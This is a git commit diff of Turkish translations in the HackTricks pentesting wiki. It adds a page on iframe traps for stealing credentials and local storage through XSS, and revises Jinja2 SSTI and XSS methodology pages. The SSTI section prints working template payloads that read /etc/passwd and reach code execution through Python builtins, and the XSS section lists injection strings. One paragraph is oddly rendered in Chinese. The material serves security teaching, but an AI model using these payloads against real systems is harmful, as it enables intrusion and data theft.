Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:26 +00:00
parent 84fc049119
commit 565887566a
7 changed files with 225 additions and 136 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security

View file

@ -0,0 +1,47 @@
# Iframe Tuzakları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
## Temel Bilgiler
Bu XSS'yi kötüye kullanma biçimi, kullanıcıdan bilgi çalmak için iframeler aracılığıyla XSS'yi kötüye kullanmaktır ve aslında bu, güvenilirsec.com'daki bu 2 gönderide yayınlanmıştır: [**burada**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **ve** [**burada**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
Saldırı, XSS'ye duyarlı bir sayfada başlar ve **kurbanların XSS'ten çıkmasını engelleyerek** onları **bir iframe içinde gezinmeye zorlayarak** tüm web uygulamasını kaplayan bir iframe içinde gezinmelerini sağlar.
XSS saldırısı temelde web sayfasını ekranın %100'ünde bir iframe içinde yükler. Bu nedenle, kurban **iframe içinde olduğunu fark etmeyecek**. Ardından, kurban iframe içinde (web içinde) bağlantılara tıklayarak sayfada gezinirse, bu gezinmeden bilgi çalan keyfi JS yüklenmiş bir iframe içinde gezinmiş olacaktır.
Ayrıca, daha gerçekçi hale getirmek için, bir iframe'ın sayfanın konumunu değiştirdiğinde kontrol etmek için bazı **dinleyiciler** kullanmak mümkündür ve kullanıcının sayfalar arasında gezindiğini düşündüğü konumları tarayıcının URL'sini güncellemek için kullanabilirsiniz.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Ayrıca, hassas bilgileri çalmak için dinleyiciler kullanmak mümkündür, sadece kurbanın ziyaret ettiği diğer sayfaları değil, aynı zamanda **doldurulan formlarda kullanılan verileri** çalmak ve bunları göndermek (kimlik bilgileri?) veya **yerel depoyu çalmak**...
Tabii ki, ana kısıtlamalar, bir **kurbanın sekme kapatması veya tarayıcıda başka bir URL girmesi durumunda iframe'den kaçacak olmasıdır**. Bunun başka bir yolu da **sayfayı yenilemek** olabilir, ancak bu, her yeni sayfa iframe içinde yüklendiğinde sağ tıklama bağlam menüsünü devre dışı bırakarak veya kullanıcının faresinin iframe'yi terk ettiğini fark ettiğinde, tarayıcının yenileme düğmesine tıklamak üzere potansiyel olarak URL'sini güncellemek için her seferinde yeni bir sayfa yüklendiğinde veya kullanıcı yeniden zehirlendiğinde tarayıcının URL'si XSS'e duyarlı orijinal URL ile güncellenir, böylece kullanıcı yeniden yüklerse tekrar zehirlenir (bu durumun çok gizli olmadığını unutmayın).
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -6,11 +6,11 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
@ -43,6 +43,7 @@ Eğer Hata Ayıklama Uzantısı etkinse, mevcut bağlamı ve mevcut filtreleri v
</pre>
```
### **Tüm yapılandırma değişkenlerini dök**
@ -58,6 +59,7 @@ Eğer Hata Ayıklama Uzantısı etkinse, mevcut bağlamı ve mevcut filtreleri v
{% endraw %}
```
## **Jinja Enjeksiyonu**
@ -65,8 +67,8 @@ Eğer Hata Ayıklama Uzantısı etkinse, mevcut bağlamı ve mevcut filtreleri v
### Global Nesnelere Erişim
Örneğin, `render_template("hello.html", username=username, email=email)` kodunda, username ve email nesneleri **kum havuzundan olmayan python ortamından gelir ve kum havuzunda erişilebilir olacaktır.**\
Ayrıca, kum havuzunda **her zaman erişilebilir olan diğer nesneler** bulunmaktadır, bunlar:
Örneğin, `render_template("hello.html", username=username, email=email)` kodunda, username ve email nesneleri **kum havuzundan gelir ve kum havuzunda erişilebilir olacaktır**.\
Ayrıca, kum havuzundan **her zaman erişilebilir olan diğer nesneler** de bulunmaktadır:
```
[]
''
@ -77,9 +79,9 @@ request
```
### \<class 'object'> Kurtarma
Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: **`<class 'object'>`** tanımlı **sınıfları kurtarmak** için. Bu, bu nesneden **`__subclasses__`** yöntemini çağırabilir ve **kum havuzuna alınmamış** python ortamından tüm sınıflara **erişebiliriz**.
Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: **`<class 'object'>`** tanımlı **sınıfları kurtarmak** için. Bu, bu nesneden **`__subclasses__`** yöntemini çağırabilir ve **kum havuzunda olmayan** python ortamından tüm sınıflara **erişebiliriz**.
Bu **nesne sınıfına** erişmek için bir **sınıf nesnesine** erişmeniz ve ardından **`__base__`**, **`__mro()[-1]`** veya `.`**`mro()[-1]`**'e erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan **sonra** **`__subclasses__()`** yöntemini **çağırırız**.
Bu **nesne sınıfına** erişmek için bir **sınıf nesnesine** erişmeniz ve ardından **`__base__`**, **`__mro__()[-1]`** veya `.`**`mro()[-1]`**'e erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan **sonra** **`__subclasses__()`** yöntemini **çağırırız**.
Bu örnekleri kontrol edin:
```python
@ -117,17 +119,18 @@ dict.__mro__[-1]
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Kaçışı
`<class 'object'>`'ı kurtardıktan sonra ve `__subclasses__`'ı çağırdıktan sonra, bu sınıfları kullanarak dosyaları okuyup yazabilir ve kodları yürütebiliriz.
`<class 'object'>`'i kurtardıktan sonra `__subclasses__`'ı çağırdığımızda, bu sınıfları kullanarak dosyaları okuyup yazabilir ve kodları yürütebiliriz.
`__subclasses__`'a yapılan çağrı bize **yüzlerce yeni işlevi erişme** fırsatı verdi, sadece **dosya sınıfına erişerek** veya `os` gibi **komutları yürütmeye izin veren bir sınıfa erişerek** mutlu olacağız.
`__subclasses__`'a yapılan çağrı bize **yüzlerce yeni işlevi erişme** fırsatı verdi, sadece **dosya sınıfına erişerek** **dosyaları okuyup/yazabiliriz** veya `os` gibi **komutları yürütmeye izin veren bir sınıfa erişim sağlayan herhangi bir sınıfa erişerek** mutlu olacağız.
**Uzak dosya okuma/yazma**
**Uzak dosyayı oku/yaz**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
@ -167,7 +170,7 @@ dict.__mro__[-1]
#### Yaygın kaçaklar
Bu kaçaklar, bazı karakterleri kullanmadan nesnelerin **özelliklerine erişmemizi sağlayacaktır**.\
Bu kaçakları zaten önceki örneklerde gördük, ancak burada onları özetleyelim:
Bu kaçakların bazılarını zaten önceki örneklerde gördük, ancak burada onları özetleyelim:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -194,6 +197,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %}
```
* [**Daha fazla seçenek için buraya dönün ve global bir nesneye erişin**](jinja2-ssti.md#accessing-global-objects)
* [**Nesne sınıfına erişmek için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -201,13 +205,13 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
**HTML kodlamasından kaçınma**
Varsayılan olarak Flask, güvenlik nedenleriyle şablon içindeki tüm içeriği HTML kodlar:
Güvenlik nedenleriyle Flask varsayılan olarak şablon içindeki tüm <code> etiketlerini HTML kodlar:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların **HTML koduna dönüştürülmeden** eklenmesini sağlar, örneğin:
**`safe`** filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların **HTML kodlanmadan** olmasını sağlar, örneğin:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -233,13 +237,14 @@ Varsayılan olarak Flask, güvenlik nedenleriyle şablon içindeki tüm içeriğ
{% endraw %}
```
## Jinja Enjeksiyonu **\<class 'object'>** kullanmadan
[**global nesnelerden**](jinja2-ssti.md#accessing-global-objects) başka bir yol daha vardır **o sınıfı kullanmadan RCE'ye ulaşmak için.**\
Eğer bu global nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilecek ve buradan **RCE'ye** çok **kolayca** ulaşabileceksiniz.
[**global nesneler**](jinja2-ssti.md#accessing-global-objects) arasından, o sınıfı kullanmadan **RCE'ye ulaşmanın** başka bir yolu var.\
Eğer bu global nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilecek ve buradan **RCE'ye** çok **kolay** bir şekilde ulaşabileceksiniz.
**`request`**, **`config`** ve erişiminiz olan diğer ilginç **global nesnelerden** fonksiyonları **bulabilirsiniz**.
**`request`**, **`config`** ve erişiminiz olan diğer ilginç **global nesneler** arasından **fonksiyonları bulabilirsiniz**.
```bash
{{ request.__class__.__dict__ }}
- application
@ -259,7 +264,7 @@ Eğer bu global nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsan
# You can iterate through children objects to find more
```
Birkaç işlev bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
Birkaç fonksiyon bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -282,8 +287,7 @@ Birkaç işlev bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
```
### WAF bypası Fuzzing
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) özel olarak CTF'lerde uzmanlaşmış bir araç olup gerçek senaryoda geçersiz parametreleri kaba kuvvet uygulamak için de kullanışlı olabilir.
Araç sadece kelimeleri ve sorguları püskürtür, filtreleri tespit etmek, bypas aramak ve ayrıca etkileşimli bir konsol sağlamak için kullanılır.
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器,寻找绕过方式,并提供一个交互式控制台。
```
webui:
As the name suggests, web UI
@ -311,20 +315,20 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Referanslar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* [Buradan yasaklı karakterleri atlatmak için attr hilesini kontrol edin](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)'de siyah listelenen karakterleri atlamak için **attr** hilesini kontrol edin.
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,38 +1,38 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşma yapabilen Polonyaca gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı polonyaca yazma ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Metodoloji
1. **Kontrol et** eğer **herhangi bir değeri kontrol edebiliyorsanız** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıyor** veya **JS** kodu tarafından **kullanılıyorsa**.
1. **Kontrol et** eğer **herhangi bir değeri kontrol edebiliyorsanız** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıyor** veya **JS** kodu tarafından **kullanılıyor** mu.
2. Yansıtıldığı/kullanıldığı **bağlamı bulun**.
3. Eğer **yansıtılıyorsa**
1. Kullanabileceğiniz **sembolleri kontrol edin** ve buna bağlı olarak payload'ı hazırlayın:
1. Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak payload'ı hazırlayın:
1. **Ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz?
3. Korumaları atlayabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru tarafından yorumlanıyor mu (_AngularJS_, _VueJS_, _Mavo_...), [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)ni kötüye kullanabilirsiniz.
5. JS kodu yürütülen bir **HTML etiketi** içinde:
5. JS kodunu yürüten bir **HTML etiketi** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodu yürütmek için yeni olaylar/öznitelikler oluşturabilir misiniz?
3. Sıkıştığınız özniteliği JS yürütmesini destekliyor mu?
2. JS kodunu yürütmek için yeni olaylar/öznitelikler oluşturabilir misiniz?
3. Sıkıştığınız özniteliği JS yürütme desteği var mı?
4. Korumaları atlayabilir misiniz?
3. **JavaScript kodu** içinde:
1. `<script>` etiketinden kaçabilir misiniz?
2. Diziyi kaçırabilir ve farklı JS kodunu yürütebilir misiniz?
3. Girişiniz şablon dizelerinde mi \`\`?
4. Korumaları atlayabilir misiniz?
4. Kullanılan Javascript **fonksiyonu**
4. Yürütülen **Javascript fonksiyonu**
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örn.: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. **DOM XSS**'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girişinizin herhangi bir sızıntı tarafından kullanılıp kullanılmadığına dikkat edin.
4. **Kullanılıyorsa**:
1. **DOM XSS**'yi sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girişinizin herhangi bir sızıntı tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler:
Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler hakkında bilgi edinmek isteyebilirsiniz:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
@ -42,27 +42,27 @@ Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler:
Bir XSS'yi başarılı bir şekilde sömürmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrol ettiğiniz bir değer** olmalıdır.
* **Orta düzeyde yansıtılan**: Bir parametrenin değerini veya hatta yolun yansıtıldığını bulursanız, bir **Yansıtılan XSS**'i sömürebilirsiniz.
* **Depolanmış ve yansıtılan**: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Depolanmış XSS**'i sömürebilirsiniz.
* **JS aracılığıyla erişilen**: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS**'i sömürebilirsiniz.
* **Orta düzeyde yansıtılan**: Bir parametrenin değerini veya hatta yolun yansıtıldığını bulursanız, bir **Yansıtılan XSS**'yi sömürebilirsiniz.
* **Depolanmış ve yansıtılan**: Sunucuda kaydedilen ve her sayfaya eriştiğinizde yansıtılan sizin kontrol ettiğiniz bir değer bulursanız, bir **Depolanan XSS**'yi sömürebilirsiniz.
* **JS aracılığıyla erişilen**: Sizin kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS**'yi sömürebilirsiniz.
## Bağlamlar
Bir XSS'yi sömürmeye çalışırken **girişinizin nerede yansıtıldığını** bilmelisiniz. Bağlama bağlı olarak, farklı yollarla keyfi JS kodunu yürütebilirsiniz.
Bir XSS'yi sömürmeye çalışırken ilk olarak **girişinizin nerede yansıtıldığını bilmelisiniz**. Bağlama bağlı olarak, farklı yollarla herhangi bir JS kodunu yürütebilirsiniz.
### Ham HTML
Eğer girişiniz **ham HTML** sayfasında yansıtılıyorsa, JS kodunu yürütmek için bazı **HTML etiketlerini** kötüye kullanmanız gerekecektir: `<img , <iframe , <svg , <script` ... bunlar sadece kullanabileceğiniz birçok HTML etiketinden bazılarıdır.\
Eğer girişiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** kötüye kullanmanız gerekecektir: `<img , <iframe , <svg , <script` ... bunlar sadece kullanabileceğiniz birçok HTML etiketinden bazılarıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)'nu unutmayın.
### HTML etiketlerinin özniteliği içinde
Eğer girişiniz bir etiketin özniteliği değerinde yansıtılıyorsa şunları deneyebilirsiniz:
Eğer girişiniz bir etiketin özniteliğinin değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:
1. **Öznitelikten ve etiketten çıkın** (ardından ham HTML'de olacaksınız) ve kötüye kullanmak için yeni HTML etiketi oluşturun: `"><img [...]`
2. Eğer **öznitelikten çıkabilir ama etiketten çıkamazsınız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu yürüten bir olay oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **özniteliğin içinden çıkamazsınız** (`"` kodlanmış veya silinmişse), o zaman **hangi özniteliğe bağlı olarak** değerinizin yansıtıldığına bağlı olarak tüm değeri kontrol ediyor musunuz veya sadece bir kısmını kontrol ediyor musunuz, bunu kötüye kullanabilirsiniz. Örneğin, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütebilirsiniz. Başka bir ilginç **örnek** ise `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu yürütebilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girişiniz "**kötüye kullanılamayan etiketlerin içinde**" yansıtılıyorsa, zafiyeti kötüye kullanmak için **`accesskey`** hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): **`" accesskey="x" onclick="alert(1)" x="`**
3. Eğer **özniteliğinden çıkamazsınız** (`"` kodlanmış veya silinmişse), o zaman yansıtılan değerin **hangi öznitelikte** olduğuna bağlı olarak kontrol ediyorsanız **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinizi** kötüye kullanabilirsiniz. Örneğin, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütebilirsiniz. Başka bir ilginç **örnek** ise `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu yürütebilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girişiniz "**kullanılamayan etiketlerin içinde**" yansıtılıyorsa, zafiyeti kötüye kullanmak için **`accesskey`** hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): **`" accesskey="x" onclick="alert(1)" x="`**
Angular'ın bir sınıf adını kontrol ediyorsanız tuhaf bir XSS örneği:
```html
@ -74,8 +74,8 @@ Angular'ın bir sınıf adını kontrol ediyorsanız tuhaf bir XSS örneği:
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyasının içinde veya **`javascript:`** protokolünü kullanarak bir özniteliğin içinde yansıtılır:
* Eğer girdi **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak işareti içinde olsa bile, `</script>` enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce **HTML etiketlerini ayrıştıracağını** ve ardından içeriği ayrıştıracağını göz önünde bulundurarak çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
* Eğer **JS dizesi içinde yansıtılıyorsa** ve önceki hile işe yaramıyorsa dizeden **çıkmak**, kodunuzu **çalıştırmak** ve JS kodunu **yeniden oluşturmak** zorunda kalırsınız (herhangi bir hata olursa, bu kod çalıştırılmaz):
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak işareti içinde olsa bile, `</script>` enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağı ve ardından içeriği ayrıştıracağı için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesinin içinde yansıtılıyorsa** ve önceki hile işe yaramıyorsa dizeden **çıkmak**, kodunuzu **çalıştırmak** ve JS kodunu **yeniden oluşturmak** zorunda kalırsınız (herhangi bir hata olursa, bu çalıştırılmaz):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -88,28 +88,28 @@ Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiket
```
#### Javascript Hoisting
Javascript Hoisting, **işlevleri, değişkenleri veya sınıfları kullanıldıktan sonra bildirme olanağını referans alır, böylece XSS'in bildirilmemiş değişkenleri veya işlevleri kullandığı senaryoları kötüye kullanabilirsiniz.**\
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları bildirme olanağını ifade eder, böylece XSS'in kullanılmayan değişkenleri veya fonksiyonları kullanmasını istismar edebilirsiniz.**\
**Daha fazla bilgi için aşağıdaki sayfaya bakın:**
{% content-ref url="js-hoisting.md" %}
[js-hoisting.md](js-hoisting.md)
{% endcontent-ref %}
### Javascript İşlevi
### Javascript Fonksiyonu
